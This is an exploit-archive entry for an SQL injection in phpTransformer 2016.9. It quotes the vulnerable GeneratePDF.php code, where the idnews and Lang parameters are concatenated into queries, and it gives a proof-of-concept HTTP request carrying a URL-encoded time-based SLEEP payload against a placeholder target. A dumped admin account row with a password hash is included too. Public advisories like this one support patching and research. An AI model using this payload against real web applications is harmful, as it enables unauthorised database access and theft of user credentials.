phpTransformer 2016.9 - SQL Injection

EDB-ID:
46191

CVE:
N/A

EDB Verified: ×

Author:
IHSAN SENCAN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-01-18

Vulnerable App:

```
# Exploit Title: phpTransformer 2016.9 - SQL Injection
# Dork: N/A
# Date: 2019-01-18
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://phptransformer.com/
# Software Link:
https://netcologne.dl.sourceforge.net/project/phptransformer/Version%202016.9
# Version: 2016.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/Programs/news/GeneratePDF.php?
Lang=English&idnews=[SQLL]
#

# /[PATH]/Programs/news/GeneratePDF.php

#41 if(isset($_GET['idnews'])) {
#42     $IdNews = InputFilter($_GET['idnews']);
#43     $Lang  = InputFilter($_GET['Lang']);
#44     // get idLang
#45     SqlConnect();
#46     ExcuteQuery('SELECT `IdLang` FROM `languages` WHERE
`LangName`="'.$Lang.'";');
#47     if ($TotalRecords>0) {
#48         require_once('../../languages/lang-'.$Lang.'.php');
#49         $IdLang= $Rows['IdLang'];
#50         //GET NEWS DATE
#51         ExcuteQuery('SELECT * FROM `news` WHERE
`IdNews`="'.$IdNews.'";');
#52         if ($TotalRecords>0) {
#53             $Date = $Rows['Date'];
#54         }
#55         else {
#56             $Date = Date('Y-m-d');
#57         }//end if

/* `exploitdb`.`users` */
$users = array(
  array('UserId' => '200700000-1'....'UserName' => 'admin'....'PassWord' =>
'21232f297a57a5a743894a0e4a801fc3'....)
);

GET /[PATH]/Programs/news/GeneratePDF.php?
Lang=English&idnews=20190000000%27%20%41%4e%44%20%53%4c%45%45%50%28%35%29%2d%
HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101
Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: TryLogin=0; PHPSESSID=2hsc4lr80e0lv14jorun0bs390;
browserupdateorg=pause; phpwcmsBELang=en; phpwcmsBEItemsPerPage=25;
Contemplate=visitor_ID%3DDzk7W2LkwvYjLr4j-20190117235156;
phpTransformer=9th36daohkgnuoqm0mmck5her6;
phpTransformerSetup=gtaavf8vg8t63s4qhg98q6pi22; TawkConnectionTime=0;
__tawkuuid=e::localhost::L/LRDuMLZaB4u3yegW9pKFQGnt3becl4U6WG0DrN27cIjyTFhHLp
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Thu, 17 Jan 2019 22:43:00 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
```

```
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link

Databases

Links

Sites

Solutions